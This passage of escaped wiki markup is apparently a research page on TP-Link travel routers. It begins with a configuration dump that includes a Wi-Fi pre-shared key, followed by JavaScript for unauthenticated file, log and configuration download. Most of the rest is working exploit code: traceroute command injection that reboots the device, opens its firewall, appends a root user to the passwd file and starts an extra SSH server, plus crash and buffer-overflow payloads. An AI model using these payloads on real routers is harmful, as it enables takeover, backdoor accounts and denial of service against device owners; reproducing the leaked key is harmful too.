alias=&lt;br /&gt;
legality=0&lt;br /&gt;
illegalType=0&lt;br /&gt;
tcspStatus=1&lt;br /&gt;
[0,0,0,0,0,0]46&lt;br /&gt;
type=0&lt;br /&gt;
version=&lt;br /&gt;
releaseDate=&lt;br /&gt;
releaseLog=&lt;br /&gt;
url=&lt;br /&gt;
start=0&lt;br /&gt;
status=0&lt;br /&gt;
progress=0&lt;br /&gt;
[0,0,0,0,0,0]47&lt;br /&gt;
email=&lt;br /&gt;
passwd=&lt;br /&gt;
needUnbind=0&lt;br /&gt;
md5Crypt=0&lt;br /&gt;
[0,0,0,0,0,0]48&lt;br /&gt;
nickname=&lt;br /&gt;
role=-1&lt;br /&gt;
token=&lt;br /&gt;
ewebURL=&lt;br /&gt;
action=0&lt;br /&gt;
status=0&lt;br /&gt;
[0,0,0,0,0,0]49&lt;br /&gt;
enable=1&lt;br /&gt;
boundDomain=&lt;br /&gt;
tmpDomainName=&lt;br /&gt;
action=0&lt;br /&gt;
status=0&lt;br /&gt;
[0,0,0,0,0,0]50&lt;br /&gt;
domainName=&lt;br /&gt;
regDate=&lt;br /&gt;
isBind=0&lt;br /&gt;
[0,0,0,0,0,0]51&lt;br /&gt;
enable=1&lt;br /&gt;
errorType=0&lt;br /&gt;
[0,0,0,0,0,0]52&lt;br /&gt;
isIgnored=0&lt;br /&gt;
ignoredTime=0&lt;br /&gt;
[0,0,0,0,0,0]53&lt;br /&gt;
diagnosticsState=None&lt;br /&gt;
maximumResponseTime=0&lt;br /&gt;
minimumResponseTime=65535&lt;br /&gt;
averageResponseTime=0&lt;br /&gt;
failureCount=0&lt;br /&gt;
successCount=0&lt;br /&gt;
X_TP_PktSequence=0&lt;br /&gt;
X_TP_ResponseTime=0&lt;br /&gt;
X_TP_IPAddress=0.0.0.0&lt;br /&gt;
X_TP_Result=&lt;br /&gt;
X_TP_ConnName=&lt;br /&gt;
X_TP_IfName=&lt;br /&gt;
DSCP=0&lt;br /&gt;
dataBlockSize=64&lt;br /&gt;
timeout=100&lt;br /&gt;
numberOfRepetitions=2&lt;br /&gt;
host=0.0.0.0&lt;br /&gt;
interface=&lt;br /&gt;
[0,0,0,0,0,0]54&lt;br /&gt;
diagnosticsState=None&lt;br /&gt;
routeHopsNumberOfEntries=0&lt;br /&gt;
responseTime=0&lt;br /&gt;
maxHopCount=30&lt;br /&gt;
DSCP=0&lt;br /&gt;
dataBlockSize=64&lt;br /&gt;
timeout=5&lt;br /&gt;
numberOfTries=2&lt;br /&gt;
X_TP_HopSeq=0&lt;br /&gt;
X_TP_IPAddress=0.0.0.0&lt;br /&gt;
X_TP_Result=&lt;br /&gt;
X_TP_ConnName=&lt;br /&gt;
X_TP_IfName=&lt;br /&gt;
host=&lt;br /&gt;
interface=&lt;br /&gt;
[0,0,0,0,0,0]55&lt;br /&gt;
enable=1&lt;br /&gt;
internetGroupVlanID=2&lt;br /&gt;
internetGroupExtendID=0&lt;br /&gt;
internetGroupLanPort=255&lt;br /&gt;
internetGroupPriority=0&lt;br /&gt;
internetUntag=1&lt;br /&gt;
workingMode=&lt;br /&gt;
[0,0,0,0,0,0]56&lt;br /&gt;
disableIPv6=1&lt;br /&gt;
lastUsedWanConnection=&lt;br /&gt;
[0,0,0,0,0,0]57&lt;br /&gt;
online=0&lt;br /&gt;
[0,0,0,0,0,0]58&lt;br /&gt;
oneKeyRePressed=0&lt;br /&gt;
mode=Router&lt;br /&gt;
first_login=0&lt;br /&gt;
router_IPInterfaceIPAddress=&lt;br /&gt;
router_IPInterfaceSubnetMask=&lt;br /&gt;
[0,0,0,0,0,0]59&lt;br /&gt;
enable=0&lt;br /&gt;
IPAddress=&lt;br /&gt;
interval=10&lt;br /&gt;
delay=5&lt;br /&gt;
failCount=5&lt;br /&gt;
[1,2,0,0,0,0]60&lt;br /&gt;
__syncApStatus=0&lt;br /&gt;
__apLastStatus=3&lt;br /&gt;
enable=1&lt;br /&gt;
status=Up&lt;br /&gt;
name=wlan5&lt;br /&gt;
BSSID=98:DA:C4:6E:00:FB&lt;br /&gt;
channel=36&lt;br /&gt;
autoChannelEnable=0&lt;br /&gt;
X_TP_PreSSID=TP-Link&lt;br /&gt;
SSID=TP-Link_00FC_5G&lt;br /&gt;
beaconType=11i&lt;br /&gt;
MACAddressControlEnabled=0&lt;br /&gt;
X_TP_MACAddressControlRule=deny&lt;br /&gt;
X_TP_MACTableSize=0&lt;br /&gt;
X_TP_Configuration_Modified=0&lt;br /&gt;
X_TP_Band=5GHz&lt;br /&gt;
X_TP_Bandwidth=Auto&lt;br /&gt;
standard=ac&lt;br /&gt;
WEPKeyIndex=1&lt;br /&gt;
WEPEncryptionLevel=Disabled,40-bits,104-bits&lt;br /&gt;
basicEncryptionModes=None&lt;br /&gt;
basicAuthenticationMode=None&lt;br /&gt;
WPAEncryptionModes=TKIPandAESEncryption&lt;br /&gt;
WPAAuthenticationMode=PSKAuthentication&lt;br /&gt;
IEEE11iEncryptionModes=AESEncryption&lt;br /&gt;
IEEE11iAuthenticationMode=PSKAuthentication&lt;br /&gt;
X_TP_PreSharedKey=37490720&lt;br /&gt;
X_TP_GroupKeyUpdateInterval=0&lt;br /&gt;
possibleChannels=&lt;br /&gt;
basicDataTransmitRates=6,12,24,&lt;br /&gt;
operationalDataTransmitRates=1,2,5.5,11,6,9,12,18,&lt;br /&gt;
possibleDataTransmitRates=&lt;br /&gt;
SSIDAdvertisementEnabled=1&lt;br /&gt;
transmitPowerSupported=100,50,20&lt;br /&gt;
transmitPower=100&lt;br /&gt;
regulatoryDomain=DE &lt;br /&gt;
deviceOperationMode=InfrastructureAccessPoint&lt;br /&gt;
X_TP_RadiusServerIP=&lt;br /&gt;
X_TP_RadiusServerPort=1812&lt;br /&gt;
X_TP_RadiusServerPassword=&lt;br /&gt;
WMMEnable=1&lt;br /&gt;
X_TP_BeaconInterval=100&lt;br /&gt;
X_TP_RTSThreshold=2346&lt;br /&gt;
X_TP_FragmentThreshold=2346&lt;br /&gt;
X_TP_DTIMFrequency=1&lt;br /&gt;
X_TP_IsolateClients=0&lt;br /&gt;
X_TP_ShortGIEnable=1&lt;br /&gt;
totalAssociations=65&lt;br /&gt;
maxStaNum=32&lt;br /&gt;
X_TP_ShowRegionSelectionOnWeb=0&lt;br /&gt;
[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 190428&lt;br /&gt;
var act_get_oid_list = [&amp;quot;IGD_DEV_INFO&amp;quot;, &amp;quot;ETH_SWITCH&amp;quot;, &amp;quot;SYS_MODE&amp;quot;, &amp;quot;MULTIMODE&amp;quot;]&lt;br /&gt;
for(let i=0; i&amp;lt;act_get_oid_list.length; i++){&lt;br /&gt;
	$.act(ACT_GET, act_get_oid_list[i]);&lt;br /&gt;
}&lt;br /&gt;
$.exe(null, false, 0);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example Results (50 lines) (includes &amp;quot;softwareVersion&amp;quot; version)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;[0,0,0,0,0,0]0&lt;br /&gt;
manufacturer=TP-Link&lt;br /&gt;
manufacturerOUI=74DA88&lt;br /&gt;
modelName=TL-WR802N&lt;br /&gt;
description=TP-Link Wireless N Nano Router WR802N &lt;br /&gt;
productClass=IGD&lt;br /&gt;
serialNumber=74DA88FCC3AE&lt;br /&gt;
hardwareVersion=TL-WR802N v4 00000004&lt;br /&gt;
softwareVersion=0.9.1 3.17 v0001.0 Build 190428 Rel.63523n&lt;br /&gt;
modemFirmwareVersion=&lt;br /&gt;
enabledOptions=&lt;br /&gt;
additionalHardwareVersion=00000004&lt;br /&gt;
additionalSoftwareVersion=&lt;br /&gt;
specVersion=1.0&lt;br /&gt;
provisioningCode=&lt;br /&gt;
upTime=76&lt;br /&gt;
firstUseDate=&lt;br /&gt;
deviceLog=0x58801d6c&lt;br /&gt;
X_TP_HardwareID=FEDC62EBE64D50D422C775E201ADCE6F&lt;br /&gt;
X_TP_FirmwareID=E24EF98E8F388F5387CC7AEA4D362363&lt;br /&gt;
X_TP_HardwareDescription=TL-WR802N 4.0&lt;br /&gt;
X_TP_isFD=1&lt;br /&gt;
X_TP_DevManufacturerURL=http://www.tp-link.com&lt;br /&gt;
X_TP_DevModelVersion=4.0&lt;br /&gt;
X_TP_ProductID=134348804&lt;br /&gt;
X_TP_ProductVersion=1&lt;br /&gt;
X_TP_SoftwareRevision=1437205265&lt;br /&gt;
X_TP_SoftwareRevisionMinor=0&lt;br /&gt;
X_TP_PlatformVersion=2768242945&lt;br /&gt;
X_TP_BuildDate=190428&lt;br /&gt;
X_TP_BuildTime=63523&lt;br /&gt;
[0,0,0,0,0,0]1&lt;br /&gt;
enableVirtualPorts=0&lt;br /&gt;
numberOfVirtualPorts=4&lt;br /&gt;
ifName=eth0&lt;br /&gt;
[0,0,0,0,0,0]2&lt;br /&gt;
mode=ETH&lt;br /&gt;
DSLL3ForwardingName=NO_INTERFACE&lt;br /&gt;
ETHL3ForwardingName=NO_INTERFACE&lt;br /&gt;
_3GL3ForwardingName=NO_INTERFACE&lt;br /&gt;
DSLL3IPv6ForwardingName=NO_INTERFACE&lt;br /&gt;
ETHL3IPv6ForwardingName=NO_INTERFACE&lt;br /&gt;
[0,0,0,0,0,0]3&lt;br /&gt;
oneKeyRePressed=0&lt;br /&gt;
mode=Router&lt;br /&gt;
first_login=0&lt;br /&gt;
router_IPInterfaceIPAddress=192.168.0.1&lt;br /&gt;
router_IPInterfaceSubnetMask=255.255.255.0&lt;br /&gt;
router_ConnName=&lt;br /&gt;
[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Download the server configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;&lt;br /&gt;
// Firmware: 170828, 190428&lt;br /&gt;
$.ajax(&lt;br /&gt;
{&lt;br /&gt;
	type: &amp;quot;POST&amp;quot;,&lt;br /&gt;
	url: &amp;quot;http://192.168.1.1/cgi/conf.bin?&amp;quot;,&lt;br /&gt;
	success:function(data) {&lt;br /&gt;
		console.log(data);&lt;br /&gt;
	},&lt;br /&gt;
	error:function(errno) {&lt;br /&gt;
		console.log(errno);&lt;br /&gt;
    }&lt;br /&gt;
});&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Download the server logs&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
$.ajax({&lt;br /&gt;
	type: &amp;quot;POST&amp;quot;,&lt;br /&gt;
	url: &amp;quot;/cgi/log?&amp;quot;,&lt;br /&gt;
	success: data =&amp;gt; console.log(data)&lt;br /&gt;
});&lt;br /&gt;
&lt;br /&gt;
/* Example Results&lt;br /&gt;
1970-01-01 00:00:14 [5] DHCPC: Send DISCOVER with request ip 0.0.0.0 and unicast flag 0&lt;br /&gt;
1970-01-01 00:00:16 [5] DHCPC: Send DISCOVER with request ip 0.0.0.0 and unicast flag 0&lt;br /&gt;
1970-01-01 00:00:19 [5] DHCPC: Send DISCOVER with request ip 0.0.0.0 and unicast flag 0&lt;br /&gt;
1970-01-01 00:00:20 [5] DHCPC: Recv OFFER from server 192.168.0.1 with ip 192.168.0.107&lt;br /&gt;
1970-01-01 00:00:21 [5] DHCPC: Send REQUEST to server 192.168.0.1 with request ip 192.168.0.107&lt;br /&gt;
1970-01-01 00:00:22 [5] DHCPC: Recv ACK from server 192.168.0.1 with ip 192.168.0.107 lease time 3600&lt;br /&gt;
1970-01-01 00:00:22 [5] DHCPC: Recv DNS server address 192.168.0.1,0,0,0,0&lt;br /&gt;
2020-06-28 22:48:18 [5] DHCPD: Recv REQUEST from XX:XX:XX:XX:XX:XX&lt;br /&gt;
2020-06-28 22:48:19 [5] DHCPD: Send ACK to 192.168.1.100*/&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Download any file from the Webserver&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828, 190428&lt;br /&gt;
let __getFile = path =&amp;gt; {&lt;br /&gt;
	$.ajax({&lt;br /&gt;
		type: &amp;quot;POST&amp;quot;,&lt;br /&gt;
		url: path,&lt;br /&gt;
		success: data =&amp;gt; console.log(data),&lt;br /&gt;
		error: errno =&amp;gt; console.log(errno)&lt;br /&gt;
	});&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
__getFile(&amp;quot;/cgi/info&amp;quot;);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Code Injection&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;Similar to the already listed [https://www.cvedetails.com/cve/CVE-2019-15060/ CVE-2019-15060] concerning the TL-WR840N router with firmware 0.9.1 3.16, the traceroute function on the TP-Link TL-WR902AC v4 with firmware 0.9.1 0.1 (170828) is vulnerable to remote code execution via a crafted payload in an IP address input field. This again works totally unauthenticated from the login screen or via forget packet using cURL. The TL-WR802N with firmware 0.9.1 3.17 isn&#039;t affected anymore. While the [[#Denial-of-Service|DoS]] attack using the same traceroute function exists in both firmware versions.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Command Injection via CGI Examples&amp;lt;/b&amp;gt; &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;!--// V0&lt;br /&gt;
traceroute_diag_attributes = [&lt;br /&gt;
	&amp;quot;diagnosticsState&amp;quot;,&lt;br /&gt;
	&amp;quot;routeHopsNumberOfEntries&amp;quot;,&lt;br /&gt;
	&amp;quot;responseTime&amp;quot;,&lt;br /&gt;
	&amp;quot;maxHopCount&amp;quot;,&lt;br /&gt;
	&amp;quot;DSCP&amp;quot;,&lt;br /&gt;
	&amp;quot;dataBlockSize&amp;quot;,&lt;br /&gt;
	&amp;quot;timeout&amp;quot;,&lt;br /&gt;
	&amp;quot;numberOfTries&amp;quot;,&lt;br /&gt;
	&amp;quot;X_TP_HopSeq&amp;quot;,&lt;br /&gt;
	&amp;quot;X_TP_IPAddress&amp;quot;,&lt;br /&gt;
	&amp;quot;X_TP_Result&amp;quot;,&lt;br /&gt;
	&amp;quot;X_TP_ConnName&amp;quot;,&lt;br /&gt;
	&amp;quot;X_TP_IfName&amp;quot;,&lt;br /&gt;
	&amp;quot;host&amp;quot;,&lt;br /&gt;
	&amp;quot;interface&amp;quot;&lt;br /&gt;
];&lt;br /&gt;
&lt;br /&gt;
_tracert = $.act(ACT_GET, TRACEROUTE_DIAG, null, null, [&amp;quot;maxHopCount&amp;quot;, &amp;quot;timeout&amp;quot;, &amp;quot;numberOfTries&amp;quot;, &amp;quot;host&amp;quot;, &amp;quot;dataBlockSize&amp;quot;, &amp;quot;X_TP_ConnName&amp;quot;, &amp;quot;diagnosticsState&amp;quot;, &amp;quot;X_TP_HopSeq&amp;quot;]);&lt;br /&gt;
&lt;br /&gt;
if (!$.exe())&lt;br /&gt;
{&lt;br /&gt;
	_tracert.diagnosticsState = &amp;quot;Requested&amp;quot;;&lt;br /&gt;
	_tracert.host 			 = &amp;quot;; /sbin/reboot;&amp;quot;;&lt;br /&gt;
	_tracert.dataBlockSize 	 = 64;&lt;br /&gt;
	_tracert.timeout 		 = 5;&lt;br /&gt;
	_tracert.numberOfTries 	 = 2;&lt;br /&gt;
	_tracert.maxHopCount 	 = 30;&lt;br /&gt;
	_tracert.X_TP_ConnName 	 = &amp;quot;lo0&amp;quot;&lt;br /&gt;
	_tracert.X_TP_HopSeq 	 = 0;&lt;br /&gt;
&lt;br /&gt;
	$.act(ACT_SET, TRACEROUTE_DIAG, null, null, _tracert);&lt;br /&gt;
&lt;br /&gt;
	if (!$.exe()) &lt;br /&gt;
	{&lt;br /&gt;
		$.act(ACT_OP, ACT_OP_TRACERT);&lt;br /&gt;
		$.exe()&lt;br /&gt;
		&lt;br /&gt;
		$.act(ACT_GET, TRACEROUTE_DIAG);&lt;br /&gt;
		console.log($.exe());&lt;br /&gt;
	}	&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// V0.1&lt;br /&gt;
let __inject = command =&amp;gt; {&lt;br /&gt;
	tracert = $.act(ACT_GET, TRACEROUTE_DIAG, null, null, [&lt;br /&gt;
		&amp;quot;diagnosticsState&amp;quot;, &lt;br /&gt;
		&amp;quot;host&amp;quot;, &lt;br /&gt;
		&amp;quot;dataBlockSize&amp;quot;,&lt;br /&gt;
		&amp;quot;timeout&amp;quot;, &lt;br /&gt;
		&amp;quot;numberOfTries&amp;quot;,  &lt;br /&gt;
		&amp;quot;maxHopCount&amp;quot;, &lt;br /&gt;
		&amp;quot;X_TP_ConnName&amp;quot;, &lt;br /&gt;
		&amp;quot;X_TP_HopSeq&amp;quot;,&lt;br /&gt;
		&amp;quot;interface&amp;quot;&lt;br /&gt;
	]);&lt;br /&gt;
&lt;br /&gt;
	if (!$.exe())&lt;br /&gt;
	{&lt;br /&gt;
		tracert.diagnosticsState = &amp;quot;Requested&amp;quot;;&lt;br /&gt;
		tracert.host 			 = command;&lt;br /&gt;
		tracert.dataBlockSize 	 = 64;&lt;br /&gt;
		tracert.timeout 		 = 5;&lt;br /&gt;
		tracert.numberOfTries 	 = 2;&lt;br /&gt;
		tracert.maxHopCount 	 = 30;&lt;br /&gt;
		tracert.X_TP_ConnName 	 = &amp;quot;lo0&amp;quot;&lt;br /&gt;
		tracert.X_TP_HopSeq 	 = 0;&lt;br /&gt;
&lt;br /&gt;
		$.act(ACT_SET, TRACEROUTE_DIAG, null, null, tracert);&lt;br /&gt;
&lt;br /&gt;
		if (!$.exe()) &lt;br /&gt;
		{&lt;br /&gt;
			$.act(ACT_OP, ACT_OP_TRACERT);&lt;br /&gt;
			$.exe();&lt;br /&gt;
		}	&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// V0.3&lt;br /&gt;
let __inject = command =&amp;gt; {&lt;br /&gt;
	&lt;br /&gt;
	tracert = {&lt;br /&gt;
		diagnosticsState : &amp;quot;Requested&amp;quot;,&lt;br /&gt;
		host 			 : command,&lt;br /&gt;
		dataBlockSize 	 : 64,&lt;br /&gt;
		timeout 		 : 5,&lt;br /&gt;
		numberOfTries 	 : 2,&lt;br /&gt;
		maxHopCount 	 : 30,&lt;br /&gt;
		X_TP_ConnName 	 : &amp;quot;lo0&amp;quot;,&lt;br /&gt;
		X_TP_HopSeq 	 : 0&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$.act(ACT_SET, TRACEROUTE_DIAG, null, null, tracert);&lt;br /&gt;
&lt;br /&gt;
	if (!$.exe()) &lt;br /&gt;
	{&lt;br /&gt;
		$.act(ACT_OP, ACT_OP_TRACERT);&lt;br /&gt;
		$.exe();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
__inject(&amp;quot;;reboot&amp;quot;);&lt;br /&gt;
__inject(&amp;quot;;kill 1&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;&lt;br /&gt;
// Inject Command&lt;br /&gt;
let __inject = command =&amp;gt; {&lt;br /&gt;
	&lt;br /&gt;
	let parameter = {host: &amp;quot;;&amp;quot;+command+&amp;quot;;&amp;quot;, X_TP_ConnName: &amp;quot;lo0&amp;quot;};&lt;br /&gt;
&lt;br /&gt;
	$.act(ACT_SET, TRACEROUTE_DIAG, null, null, parameter); &lt;br /&gt;
	$.act(ACT_OP, ACT_OP_TRACERT);&lt;br /&gt;
	$.exe();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// Reboot&lt;br /&gt;
__inject(&amp;quot;reboot&amp;quot;);&lt;br /&gt;
__inject(&amp;quot;kill 1&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
// Enable access to all service from WAN &lt;br /&gt;
// Web Interface fails due to wrong referer header&lt;br /&gt;
__inject(&amp;quot;iptables -P INPUT ACCEPT&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
// Add user to the passwd file&lt;br /&gt;
__inject(&amp;quot;echo test:test:0:0:root:/:/bin/sh &amp;gt;&amp;gt; /var/passwd&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
// Start another Dropbear instance on a different port&lt;br /&gt;
__inject(&amp;quot;dropbear -p 2222 -r /var/tmp/dropbear/dropbear_rsa_host_key&amp;quot;);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Minified&lt;br /&gt;
$.act(ACT_SET, TRACEROUTE_DIAG, null, null, {host: &amp;quot;;reboot;&amp;quot;, X_TP_ConnName: &amp;quot;lo0&amp;quot;}); &lt;br /&gt;
$.act(ACT_OP, ACT_OP_TRACERT); &lt;br /&gt;
$.exe();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first &amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt; is used to end the tracert command. The second ; is used to seperate any possibly attached tracert paramerters from the injected command.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Denial-of-Service&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;There are several ways to make the device crash or misbehave.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;h4 style=&amp;quot;display: inline&amp;quot;&amp;gt;Using Code Injection&amp;lt;/h4&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Crash device (Needs hard reset)&lt;br /&gt;
// Firmware: 170828 (no auth)&lt;br /&gt;
$.act(ACT_SET, TRACEROUTE_DIAG, null, null, { host: &amp;quot;;&amp;quot; }); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Doesn&#039;t poweroff but crashes everything instead&lt;br /&gt;
// Firmware: 170828&lt;br /&gt;
$.act(ACT_SET, TRACEROUTE_DIAG, null, null, { host: &amp;quot;;poweroff;&amp;quot; }); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;h4 style=&amp;quot;display: inline&amp;quot;&amp;gt;Using Buffer Overflow&amp;lt;/h4&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// This kills the httpd deamon (verified using UART) (restart httpd not working)&lt;br /&gt;
// Firmware: 170828 (no auth), 190428 (auth)&lt;br /&gt;
let __inject = command =&amp;gt; {&lt;br /&gt;
	$.act(ACT_SET, TRACEROUTE_DIAG, null, null, {host: command, X_TP_ConnName: &amp;quot;lo0&amp;quot;}); &lt;br /&gt;
	$.act(ACT_OP, ACT_OP_TRACERT);&lt;br /&gt;
	$.exe();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
let buffer_size = 2046;&lt;br /&gt;
let buffer = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
for(let i = 0; i &amp;lt; buffer_size; i++){&lt;br /&gt;
    buffer += &amp;quot;X&amp;quot;;&lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
__inject(buffer);&lt;br /&gt;
&lt;br /&gt;
/* Remaining services running&lt;br /&gt;
PORT      STATE   SERVICE 		VERSION&lt;br /&gt;
21/tcp    closed  ftp     		vsftpd 2.0.8 or later&lt;br /&gt;
22/tcp    open    ssh     		Dropbear sshd 2012.55&lt;br /&gt;
80/tcp    closed  http    		TP-LINK TD-W8968 http&lt;br /&gt;
1900/tcp  open    upnp    		Portable SDK for UPnP&lt;br /&gt;
139 /tcp  closed  netbios-ssn 	Samba smbd 3.X - 4.X&lt;br /&gt;
445/tcp   closed  netbios-ssn 	Samba smbd 3.0.14a&lt;br /&gt;
40955/tcp closed  upnp       	Portable SDK for UPnP&lt;br /&gt;
*/&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
